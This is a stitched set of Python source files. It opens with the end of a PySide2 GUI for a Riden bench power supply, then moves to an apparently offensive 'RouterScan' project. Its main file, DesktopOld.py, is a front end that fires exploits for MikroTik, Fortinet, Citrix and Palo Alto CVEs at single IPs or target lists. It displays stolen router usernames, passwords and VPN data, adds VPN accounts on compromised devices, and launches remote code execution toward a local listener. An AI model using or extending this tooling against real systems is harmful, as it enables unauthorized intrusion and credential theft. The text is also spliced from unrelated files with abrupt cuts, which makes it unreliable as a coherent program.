self.ui.I_Set_SpinBox.value(): with self.l: self.r.set_current_set(self.ui.I_Set_SpinBox.value()) voltage = self.r.get_voltage_set() if voltage != self.ui.V_Set_SpinBox.value(): self.ui.V_Set_SpinBox.setValue(voltage) # enable buttons it values changed if self.r.voltage_set != self.ui.V_Set_SpinBox.value(): self.ui.V_Set_Button.setDisabled(False) if self.r.current_set != self.ui.I_Set_SpinBox.value(): self.ui.I_Set_Button.setDisabled(False) with self.l: self.r.update() # Stop UI thread def closeEvent(self, *args, **kwargs): super(QMainWindow, self).closeEvent(*args, **kwargs) if hasattr(self, 't'): self.t.status = False def main(): application = QApplication() window = MainWindow() window.show() exit(application.exec_()) if __name__ == "__main__": main()
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,128
zalexua/RidenGUI
refs/heads/master
/ridengui/settings_ui.py
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'settings.ui' ## ## Created by: Qt User Interface Compiler version 5.15.2 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ################################################################################ from PySide2.QtCore import * from PySide2.QtGui import * from PySide2.QtWidgets import * class Ui_Settings(object): def setupUi(self, Settings): if not Settings.objectName(): Settings.setObjectName(u"Settings") Settings.resize(312, 288) icon = QIcon() iconThemeName = u"riden" if QIcon.hasThemeIcon(iconThemeName): icon = QIcon.fromTheme(iconThemeName) else: icon.addFile(u".", QSize(), QIcon.Normal, QIcon.Off) Settings.setWindowIcon(icon) self.gridLayout = QGridLayout(Settings) self.gridLayout.setObjectName(u"gridLayout") self.Backlight_Slider = QSlider(Settings) self.Backlight_Slider.setObjectName(u"Backlight_Slider") self.Backlight_Slider.setMaximum(5) self.Backlight_Slider.setOrientation(Qt.Horizontal) self.gridLayout.addWidget(self.Backlight_Slider, 1, 2, 1, 2) self.Language_ComboBox = QComboBox(Settings) self.Language_ComboBox.addItem("") self.Language_ComboBox.addItem("") self.Language_ComboBox.addItem("") self.Language_ComboBox.addItem("") self.Language_ComboBox.setObjectName(u"Language_ComboBox") self.gridLayout.addWidget(self.Language_ComboBox, 0, 2, 1, 2) self.Backlight_Label = QLabel(Settings) self.Backlight_Label.setObjectName(u"Backlight_Label") font = QFont() font.setBold(True) font.setWeight(75) self.Backlight_Label.setFont(font) self.Backlight_Label.setAlignment(Qt.AlignCenter) self.gridLayout.addWidget(self.Backlight_Label, 1, 1, 1, 1) self.Language_Label = QLabel(Settings) self.Language_Label.setObjectName(u"Language_Label") self.Language_Label.setFont(font) self.Language_Label.setAlignment(Qt.AlignCenter) self.gridLayout.addWidget(self.Language_Label, 0, 1, 1, 1) self.gridLayout_2 = QGridLayout() self.gridLayout_2.setObjectName(u"gridLayout_2") self.Confirm_Box = QCheckBox(Settings) self.Confirm_Box.setObjectName(u"Confirm_Box") self.gridLayout_2.addWidget(self.Confirm_Box, 1, 0, 1, 1) self.Logo_Box = QCheckBox(Settings) self.Logo_Box.setObjectName(u"Logo_Box") self.gridLayout_2.addWidget(self.Logo_Box, 5, 0, 1, 1) self.Restore_Box = QCheckBox(Settings) self.Restore_Box.setObjectName(u"Restore_Box") self.gridLayout_2.addWidget(self.Restore_Box, 2, 0, 1, 1) self.Power_Box = QCheckBox(Settings) self.Power_Box.setObjectName(u"Power_Box") self.gridLayout_2.addWidget(self.Power_Box, 3, 0, 1, 1) self.Buzzer_Box = QCheckBox(Settings) self.Buzzer_Box.setObjectName(u"Buzzer_Box") self.gridLayout_2.addWidget(self.Buzzer_Box, 4, 0, 1, 1) self.gridLayout.addLayout(self.gridLayout_2, 2, 1, 1, 3) self.Time_Button = QPushButton(Settings) self.Time_Button.setObjectName(u"Time_Button") self.gridLayout.addWidget(self.Time_Button, 6, 1, 1, 1) self.Buttons = QDialogButtonBox(Settings) self.Buttons.setObjectName(u"Buttons") self.Buttons.setOrientation(Qt.Horizontal) self.Buttons.setStandardButtons(QDialogButtonBox.Cancel|QDialogButtonBox.Ok) self.gridLayout.addWidget(self.Buttons, 6, 2, 1, 1) self.retranslateUi(Settings) self.Buttons.accepted.connect(Settings.accept) self.Buttons.rejected.connect(Settings.reject) QMetaObject.connectSlotsByName(Settings) # setupUi def retranslateUi(self, Settings): Settings.setWindowTitle(QCoreApplication.translate("Settings", u"General", None)) self.Language_ComboBox.setItemText(0, QCoreApplication.translate("Settings", u"English", None)) self.Language_ComboBox.setItemText(1, QCoreApplication.translate("Settings", u"Chinese", None)) self.Language_ComboBox.setItemText(2, QCoreApplication.translate("Settings", u"Deutsch", None)) self.Language_ComboBox.setItemText(3, QCoreApplication.translate("Settings", u"Fran\u00e7ais", None)) self.Backlight_Label.setText(QCoreApplication.translate("Settings", u"Backlight", None)) self.Language_Label.setText(QCoreApplication.translate("Settings", u"Language", None)) self.Confirm_Box.setText(QCoreApplication.translate("Settings", u"Confirm memory state change", None)) self.Logo_Box.setText(QCoreApplication.translate("Settings", u"Enable Boot Logo", None)) self.Restore_Box.setText(QCoreApplication.translate("Settings", u"Restore state on boot", None)) self.Power_Box.setText(QCoreApplication.translate("Settings", u"Power-on after power-loss", None)) self.Buzzer_Box.setText(QCoreApplication.translate("Settings", u"Enable Buzzer", None)) self.Time_Button.setText(QCoreApplication.translate("Settings", u"Sync Time", None)) # retranslateUi
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,130
TEmp6869/RouterScan
refs/heads/master
/Bakup/Desktop/V1/target.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'target.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Target(object): def setupUi(self, Target): Target.setObjectName("Target") Target.resize(400, 300) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(Target.sizePolicy().hasHeightForWidth()) Target.setSizePolicy(sizePolicy) self.centralwidget = QtWidgets.QWidget(Target) self.centralwidget.setObjectName("centralwidget") self.widget = QtWidgets.QWidget(self.centralwidget) self.widget.setGeometry(QtCore.QRect(40, 40, 321, 148)) self.widget.setObjectName("widget") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.widget) self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.label_2 = QtWidgets.QLabel(self.widget) self.label_2.setObjectName("label_2") self.horizontalLayout.addWidget(self.label_2) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem) self.lineEdit_2 = QtWidgets.QLineEdit(self.widget) self.lineEdit_2.setObjectName("lineEdit_2") self.horizontalLayout.addWidget(self.lineEdit_2) self.verticalLayout.addLayout(self.horizontalLayout) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.pushButton = QtWidgets.QPushButton(self.widget) self.pushButton.setObjectName("pushButton") self.horizontalLayout_3.addWidget(self.pushButton) self.verticalLayout.addLayout(self.horizontalLayout_3) self.verticalLayout_3.addLayout(self.verticalLayout) self.verticalLayout_2 = QtWidgets.QVBoxLayout() self.verticalLayout_2.setObjectName("verticalLayout_2") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label = QtWidgets.QLabel(self.widget) self.label.setObjectName("label") self.horizontalLayout_2.addWidget(self.label) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem2) self.lineEdit_3 = QtWidgets.QLineEdit(self.widget) self.lineEdit_3.setObjectName("lineEdit_3") self.horizontalLayout_2.addWidget(self.lineEdit_3) self.verticalLayout_2.addLayout(self.horizontalLayout_2) self.horizontalLayout_4 = QtWidgets.QHBoxLayout() self.horizontalLayout_4.setObjectName("horizontalLayout_4") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem3) self.pushButton_2 = QtWidgets.QPushButton(self.widget) self.pushButton_2.setObjectName("pushButton_2") self.horizontalLayout_4.addWidget(self.pushButton_2) self.verticalLayout_2.addLayout(self.horizontalLayout_4) self.verticalLayout_3.addLayout(self.verticalLayout_2) Target.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(Target) self.menubar.setGeometry(QtCore.QRect(0, 0, 400, 27)) self.menubar.setObjectName("menubar") Target.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(Target) self.statusbar.setObjectName("statusbar") Target.setStatusBar(self.statusbar) self.retranslateUi(Target) QtCore.QMetaObject.connectSlotsByName(Target) def retranslateUi(self, Target): _translate = QtCore.QCoreApplication.translate Target.setWindowTitle(_translate("Target", "Target")) self.label_2.setText(_translate("Target", "Target File")) self.pushButton.setText(_translate("Target", "OK")) self.label.setText(_translate("Target", "Single Target")) self.pushButton_2.setText(_translate("Target", "Upload"))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,131
TEmp6869/RouterScan
refs/heads/master
/Bakup/Desktop/V1/router_scan_main.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'router_scan_main.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtWidgets from Bakup.Desktop.V1 import target_dialog class Ui_RouterScanMain(object): def setupUi(self, RouterScanMain): RouterScanMain.setObjectName("RouterScanMain") RouterScanMain.resize(800, 600) self.centralwidget = QtWidgets.QWidget(RouterScanMain) self.centralwidget.setObjectName("centralwidget") self.widget = QtWidgets.QWidget(self.centralwidget) self.widget.setGeometry(QtCore.QRect(30, 40, 741, 442)) self.widget.setObjectName("widget") self.verticalLayout = QtWidgets.QVBoxLayout(self.widget) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName("verticalLayout") self.label = QtWidgets.QLabel(self.widget) self.label.setObjectName("label") self.verticalLayout.addWidget(self.label) self.textBrowser = QtWidgets.QTextBrowser(self.widget) self.textBrowser.setObjectName("textBrowser") self.verticalLayout.addWidget(self.textBrowser) self.label_2 = QtWidgets.QLabel(self.widget) self.label_2.setObjectName("label_2") self.verticalLayout.addWidget(self.label_2) self.textBrowser_2 = QtWidgets.QTextBrowser(self.widget) self.textBrowser_2.setObjectName("textBrowser_2") self.verticalLayout.addWidget(self.textBrowser_2) RouterScanMain.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(RouterScanMain) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 27)) self.menubar.setObjectName("menubar") self.menuDevices = QtWidgets.QMenu(self.menubar) self.menuDevices.setObjectName("menuDevices") self.menuMikroTik = QtWidgets.QMenu(self.menuDevices) self.menuMikroTik.setObjectName("menuMikroTik") self.menuCVE_2018_14847 = QtWidgets.QMenu(self.menuMikroTik) self.menuCVE_2018_14847.setObjectName("menuCVE_2018_14847") self.menu_CVE_2018_14847_Action = QtWidgets.QMenu(self.menuCVE_2018_14847) self.menu_CVE_2018_14847_Action.setObjectName("menuAction") self.menuCVE_2018_14847Exp = QtWidgets.QMenu(self.menuCVE_2018_14847) self.menuCVE_2018_14847Exp.setObjectName("Exploit") self.menuTP_Link = QtWidgets.QMenu(self.menuDevices) self.menuTP_Link.setObjectName("menuTP_Link") self.menuDocument = QtWidgets.QMenu(self.menubar) self.menuDocument.setObjectName("menuDocument") self.menuHelp = QtWidgets.QMenu(self.menubar) self.menuHelp.setObjectName("menuHelp") RouterScanMain.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(RouterScanMain) self.statusbar.setObjectName("statusbar") RouterScanMain.setStatusBar(self.statusbar) self.actionRouter_1 = QtWidgets.QAction(RouterScanMain) self.actionRouter_1.setObjectName("actionRouter_1") self.actionRouter_2 = QtWidgets.QAction(RouterScanMain) self.actionRouter_2.setObjectName("actionRouter_2") self.actionRouter_3 = QtWidgets.QAction(RouterScanMain) self.actionRouter_3.setObjectName("actionRouter_3") self.actionRouter_4 = QtWidgets.QAction(RouterScanMain) self.actionRouter_4.setObjectName("actionRouter_4") self.actionCVE_2019_3924 = QtWidgets.QAction(RouterScanMain) self.actionCVE_2019_3924.setObjectName("actionCVE_2019_3924") self.actionCVE_2019_3943 = QtWidgets.QAction(RouterScanMain) self.actionCVE_2019_3943.setObjectName("actionCVE_2019_3943") self.actionCVE_1 = QtWidgets.QAction(RouterScanMain) self.actionCVE_1.setObjectName("actionCVE_1") self.actionCVE_2 = QtWidgets.QAction(RouterScanMain) self.actionCVE_2.setObjectName("actionCVE_2") self.actionCVE = QtWidgets.QAction(RouterScanMain) self.actionCVE.setObjectName("actionCVE") self.actionCVE_3 = QtWidgets.QAction(RouterScanMain) self.actionCVE_3.setObjectName("actionCVE_3") self.actionCVE_4 = QtWidgets.QAction(RouterScanMain) self.actionCVE_4.setObjectName("actionCVE_4") self.actionSource_Codes = QtWidgets.QAction(RouterScanMain) self.actionSource_Codes.setObjectName("actionSource_Codes") self.actionAPIs = QtWidgets.QAction(RouterScanMain) self.actionAPIs.setObjectName("actionAPIs") self.actionUsage = QtWidgets.QAction(RouterScanMain) self.actionUsage.setObjectName("actionUsage") self.actionContact_Us = QtWidgets.QAction(RouterScanMain) self.actionContact_Us.setObjectName("actionContact_Us") self.actionUpdate = QtWidgets.QAction(RouterScanMain) self.actionUpdate.setObjectName("actionUpdate") self.action_CVE_2018_14847_Exploit = QtWidgets.QAction(RouterScanMain) self.action_CVE_2018_14847_Exploit.setObjectName("actionExploit") self.action_CVE_2018_14847_Exploit.triggered.connect(self.targetUi) self.action_CVE_2018_14847_Create_Proxy = QtWidgets.QAction(RouterScanMain) self.action_CVE_2018_14847_Create_Proxy.setObjectName("actionCreate_Proxy") self.menu_CVE_2018_14847_Action.addAction(self.action_CVE_2018_14847_Create_Proxy) self.menu_CVE_2018_14847_Action.addSeparator() self.menuCVE_2018_14847.addAction(self.action_CVE_2018_14847_Exploit) self.menuCVE_2018_14847.addAction(self.menu_CVE_2018_14847_Action.menuAction()) self.menuMikroTik.addSeparator() self.menuMikroTik.addAction(self.menuCVE_2018_14847.menuAction()) self.menuMikroTik.addAction(self.actionCVE_2019_3924) self.menuMikroTik.addAction(self.actionCVE_2019_3943) self.menuMikroTik.addAction(self.actionCVE_1) self.menuMikroTik.addAction(self.actionCVE_2) self.menuTP_Link.addAction(self.actionCVE) self.menuTP_Link.addAction(self.actionCVE_3) self.menuTP_Link.addAction(self.actionCVE_4) self.menuDevices.addAction(self.menuMikroTik.menuAction()) self.menuDevices.addAction(self.menuTP_Link.menuAction()) self.menuDevices.addAction(self.actionRouter_1) self.menuDevices.addAction(self.actionRouter_2) self.menuDevices.addAction(self.actionRouter_3) self.menuDevices.addAction(self.actionRouter_4) self.menuDocument.addAction(self.actionSource_Codes) self.menuDocument.addAction(self.actionAPIs) self.menuDocument.addAction(self.actionUsage) self.menuHelp.addAction(self.actionContact_Us) self.menuHelp.addAction(self.actionUpdate) self.menubar.addAction(self.menuDevices.menuAction()) self.menubar.addAction(self.menuDocument.menuAction()) self.menubar.addAction(self.menuHelp.menuAction()) self.menuCVE_2018_14847Exp.addAction(self.action_CVE_2018_14847_Exploit) self.retranslateUi(RouterScanMain) QtCore.QMetaObject.connectSlotsByName(RouterScanMain) def retranslateUi(self, RouterScanMain): _translate = QtCore.QCoreApplication.translate RouterScanMain.setWindowTitle(_translate("RouterScanMain", "Router Scan")) self.label.setText(_translate("RouterScanMain", "Input")) self.label_2.setText(_translate("RouterScanMain", "Output")) self.menuDevices.setTitle(_translate("RouterScanMain", "Devices")) self.menuMikroTik.setTitle(_translate("RouterScanMain", "MikroTik")) self.menuCVE_2018_14847.setTitle(_translate("RouterScanMain", "CVE-2018-14847")) self.menu_CVE_2018_14847_Action.setTitle(_translate("RouterScanMain", "Action")) self.menuTP_Link.setTitle(_translate("RouterScanMain", "TP-Link")) self.menuDocument.setTitle(_translate("RouterScanMain", "Document")) self.menuHelp.setTitle(_translate("RouterScanMain", "Help")) self.actionRouter_1.setText(_translate("RouterScanMain", "Router_1")) self.actionRouter_2.setText(_translate("RouterScanMain", "Router_2")) self.actionRouter_3.setText(_translate("RouterScanMain", "Router_3")) self.actionRouter_4.setText(_translate("RouterScanMain", "Router_4")) self.actionCVE_2019_3924.setText(_translate("RouterScanMain", "CVE-2019-3924")) self.actionCVE_2019_3943.setText(_translate("RouterScanMain", "CVE-2019-3943")) self.actionCVE_1.setText(_translate("RouterScanMain", "CVE_1")) self.actionCVE_2.setText(_translate("RouterScanMain", "CVE_2")) self.actionCVE.setText(_translate("RouterScanMain", "CVE_1")) self.actionCVE_3.setText(_translate("RouterScanMain", "CVE_2")) self.actionCVE_4.setText(_translate("RouterScanMain", "CVE_3")) self.actionSource_Codes.setText(_translate("RouterScanMain", "Source Codes")) self.actionAPIs.setText(_translate("RouterScanMain", "APIs")) self.actionUsage.setText(_translate("RouterScanMain", "Usage")) self.actionContact_Us.setText(_translate("RouterScanMain", "Contact")) self.actionUpdate.setText(_translate("RouterScanMain", "Update")) self.action_CVE_2018_14847_Exploit.setText(_translate("RouterScanMain", "Exploit")) self.action_CVE_2018_14847_Create_Proxy.setText(_translate("RouterScanMain", "Create Proxy")) def targetUi(self): dialog = QtWidgets.QDialog() ui = target_dialog.Ui_target_dialog() ui.setupUi(dialog) dialog.show() dialog.exec_()
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,132
TEmp6869/RouterScan
refs/heads/master
/DesktopOld.py
import sys from PyQt5 import QtCore, QtGui, QtWidgets from DesktopOldVersion.DialogTarget import Ui_TargetDialog from DesktopOldVersion.MainWindowRouterScan import Ui_RouterScanMainWindow from DesktopOldVersion.DialogRCE import Ui_RCEDialog from Utilization.format import Format from Citrix.CVE_2019_19781.exploit import Exploit as CVE_2019_19781EXP from Fortinet.CVE_2018_13379 import exploit as CVE_2018_13379EXP from MikroTik.CVE_2018_14847.exploit import exploit from MikroTik.CVE_2018_14847.create_vpn import vpn from MikroTik.CVE_2018_14847.get_targets import format_file, format_single_ip from PALO_ALTO.CVE_2017_15944.exploit import run as CVE_2017_15944EXP from PALO_ALTO.CVE_2017_15944.rce import rce as CVE_2017_15944RCE class RouterScanMainWindow(QtWidgets.QMainWindow): app = None def __init__(self, app): super(RouterScanMainWindow, self).__init__() self.app = app def show_DialogTargetCVE_2018_14847EXP(self): data = [] dialog_target = TargetDialog(data, title='CVE_2018_14847@EXP') # ui = Ui_TargetDialog() # ui.setupUi(dialog_target) dialog_target.setupAction() dialog_target.show() dialog_target.exec_() def show_DialogTargetCVE_2018_14847VPN(self): data = [] dialog_target = TargetDialog(data, title='CVE_2018_14847@VPN') # ui = Ui_TargetDialog() # ui.setupUi(dialog_target) dialog_target.setupAction() dialog_target.show() dialog_target.exec_() def show_DialogTargetCVE_2018_13379EXP(self): data = [] dialog_target = TargetDialog(data, title='CVE_2018_13379@EXP') # ui = Ui_TargetDialog() # ui.setupUi(dialog_target) dialog_target.setupAction() dialog_target.show() dialog_target.exec_() def show_DialogTargetCVE_2019_19781EXP(self): data = [] dialog_target = TargetDialog(data, title='CVE_2019_19781@EXP') # ui = Ui_TargetDialog() # ui.setupUi(dialog_target) dialog_target.setupAction() dialog_target.show() dialog_target.exec_() def show_DialogTargetCVE_2019_19781RCE(self): print('call fun show_DialogTargetCVE_2019_19781RCE') def show_DialogTargetCVE_2017_15944EXP(self): data = [] dialog_target = TargetDialog(data, title='CVE_2017_15944@EXP') # ui = Ui_TargetDialog() # ui.setupUi(dialog_target) dialog_target.setupAction() dialog_target.show() dialog_target.exec_() def show_DialogTargetCVE_2017_15944RCE(self): print('call fun show_DialogTargetCVE_2017_15944RCE') data=[] dialog_rce=RCEDialog(data,title='CVE_2017_15944@RCE') dialog_rce.show() dialog_rce.exec_() class TargetDialog(QtWidgets.QDialog): data = None def __init__(self, data, title): super(TargetDialog, self).__init__(APP.window) self.data = data self.title = title self.ui = Ui_TargetDialog() self.ui.setupUi(self) def setupAction(self): self.ui.pushButtonSingle.clicked.connect(self.addSingle) self.ui.pushButtonMultiple.clicked.connect(self.addMultiple) def addSingle(self): APP.ui.textBrowserOutput.clear() APP.ui.textBrowserTarget.clear() ip = self.ui.lineEditSingle.text() CVE, FUN = self.title.split('@') print(CVE, FUN) print(type(CVE), type(FUN)) if ip: self.data = '' if ip in self.data: print('[*] INFO: {} is already exits'.format(ip)) return self.data = ip target = format_single_ip(ip) print(target) for item in target: APP.ui.textBrowserTarget.append(str(item[0])) if FUN == 'EXP': if CVE == 'CVE_2018_14847': output = exploit(target) for item in output: info = 'ip: ' + str(item[0]) + ' port: ' + str(item[1]) + '\r\n' for u, p in item[2]: info += 'username: ' + u + ' password: ' + p APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2018_14847@EXP FINISHED') print('OUTPUT', output) elif CVE == 'CVE_2018_13379': FormatClass = Format() output = CVE_2018_13379EXP.Exploit(FormatClass.format_ip(ip)) for item in output: info = 'ip: ' + str(item[0]) + '\r\nVPN Info: ' + str(item[1]) + '\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2018_13379@EXP FINISHED') print('CVE_2018_13379 EXP Finished\r\n', output) elif CVE == 'CVE_2019_19781': FormatIP = Format() FormatIP.ImportSingle(ip) output = CVE_2019_19781EXP(FormatIP.GetValue()) del FormatIP for item in output: info = str(item) + '\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2019_19781@EXP FINISHED') print('CVE_2019_19781 EXP Finished\r\n', output) elif CVE=='CVE_2017_15944': FormatIP = Format() FormatIP.port = 4443 FormatIP.ImportSingle(ip) output = CVE_2017_15944EXP(FormatIP.GetValue()) del FormatIP for item in output: info = 'ip: ' + str(item[0]) + ' port: ' + str(item[1]) + ' is vulnerable to CVE_2017_15944\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2017_15944@EXP FINISHED') print('CVE_2017_15944 EXP Finished\r\n', output) elif FUN == 'VPN': output = vpn(target) for item in output: output_str = 'ip: ' + str(item[0]) + ' username: ' + str(item[1]) + ' password: ' + str(item[2]) APP.ui.textBrowserOutput.append(output_str) print('OUTPUT', output) # print(self.data) # print(type(self.data)) def addMultiple(self): APP.ui.textBrowserOutput.clear() APP.ui.textBrowserTarget.clear() filename = self.ui.lineEditMultiple.text() CVE, FUN = self.title.split('@') print(CVE, FUN) print(type(CVE), type(FUN)) if filename: self.data = '' if filename == self.data: print('[*] INFO: {} is already exits'.format(filename)) return self.data = filename target = format_file(self.data) for item in target: APP.ui.textBrowserTarget.append(str(item[0])) if FUN == 'EXP': if CVE == 'CVE_2018_14847': output = exploit(target) for item in output: info = 'ip: ' + str(item[0]) + ' port: ' + str(item[1]) + '\r\n' for u, p in item[2]: info += 'username: ' + u + ' password: ' + p + '\r\n' APP.ui.textBrowserOutput.append(info) print('OUTPUT', output) elif CVE == 'CVE_2018_13379': FormatClass = Format() output = CVE_2018_13379EXP.Exploit(FormatClass.format_file(filename)) for item in output: info = 'ip: ' + str(item[0]) + '\r\nVPN Info: ' + str(item[1]) + '\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2018_13379@EXP FINISHED') print('CVE_2018_13379 EXP Finished\r\n', output) elif CVE == 'CVE_2019_19781': FormatIP = Format() FormatIP.ImportFile(filename) output = CVE_2019_19781EXP(FormatIP.GetValue()) del FormatIP for item in output: info = str(item) + '\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2019_19781@EXP FINISHED') print('CVE_2019_19781 EXP Finished\r\n', output) elif CVE=='CVE_2017_15944': FormatIP=Format() FormatIP.port=4443 FormatIP.ImportFile(filename) output=CVE_2017_15944EXP(FormatIP.GetValue()) del FormatIP for item in output: info='ip: '+str(item[0])+' port: '+str(item[1])+' is vulnerable to CVE_2017_15944\r\n' APP.ui.textBrowserOutput.append(info) APP.ui.textBrowserOutput.append('CVE_2017_15944@EXP FINISHED') print('CVE_2017_15944 EXP Finished\r\n', output) elif FUN == 'VPN': output = vpn(target) for item in output: output_str = 'ip: ' + str(item[0]) + ' username: ' + str(item[1]) + ' password: ' + str(item[2]) APP.ui.textBrowserOutput.append(output_str) print('OUTPUT', output) print(self.data) print(type(self.data)) class RCEDialog(QtWidgets.QDialog): data = None def __init__(self, data, title): super(RCEDialog, self).__init__(APP.window) self.data = data self.title = title self.ui = Ui_RCEDialog() self.ui.setupUi(self) def accept(self): print('push accept') APP.ui.textBrowserOutput.clear() APP.ui.textBrowserTarget.clear() target=self.ui.lineEdit.text() local=self.ui.lineEdit_2.text() CVE, FUN = self.title.split('@') if CVE=='CVE_2017_15944': FormatTarget=Format() FormatTarget.port=4443 FormatTarget.ImportSingle(target) TargetList=FormatTarget.GetValue() del FormatTarget if len(TargetList)==1: thost=TargetList[0][0] tport=TargetList[0][1] APP.ui.textBrowserTarget.append('ip: '+str(thost)+' port: '+str(tport)+'\r\n') FormatLocal=Format() FormatLocal.port=11123 FormatLocal.ImportSingle(local) LocalList=FormatLocal.GetValue() del FormatLocal if len(LocalList)==1: lhost=LocalList[0][0] lport=LocalList[0][1] output=CVE_2017_15944RCE(thost,tport,lhost,lport) print(output) if output: APP.ui.textBrowserOutput.append( 'Target IP: ' + str(output[0]) + ' Target Port: ' + str(output[1]) + '\r\n') APP.ui.textBrowserOutput.append( 'Local IP: ' + str(output[2]) + ' Local Port: ' + str(output[3]) + '\r\n') APP.ui.textBrowserOutput.append('CVE_2017_15944@RCE FINISHED') print('CVE_2017_15944 RCE Finished\r\n', output) class RouterScan: def __init__(self): global APP APP = self self.app = QtWidgets.QApplication(sys.argv) self.ui = Ui_RouterScanMainWindow() self.window = RouterScanMainWindow(self) # self.window.setWindowOpacity(1) # self.window.setAttribute(QtCore.Qt.WA_TranslucentBackground) self.ui.setupUi(self.window) self.setupAction() self.window.show() sys.exit(self.app.exec_()) def setupAction(self): self.ui.actionExploitCVE_2018_14847.triggered.connect(self.window.show_DialogTargetCVE_2018_14847EXP) self.ui.actionVPNCVE_2018_14847.triggered.connect(self.window.show_DialogTargetCVE_2018_14847VPN) self.ui.actionExploitCVE_2018_13379.triggered.connect(self.window.show_DialogTargetCVE_2018_13379EXP) self.ui.actionExploitCVE_2019_19781.triggered.connect(self.window.show_DialogTargetCVE_2019_19781EXP) self.ui.actionRCECVE_2019_19781.triggered.connect(self.window.show_DialogTargetCVE_2019_19781RCE) self.ui.actionExploitCVE_2017_15944.triggered.connect(self.window.show_DialogTargetCVE_2017_15944EXP) self.ui.actionRCECVE_2017_15944.triggered.connect(self.window.show_DialogTargetCVE_2017_15944RCE) if __name__ == 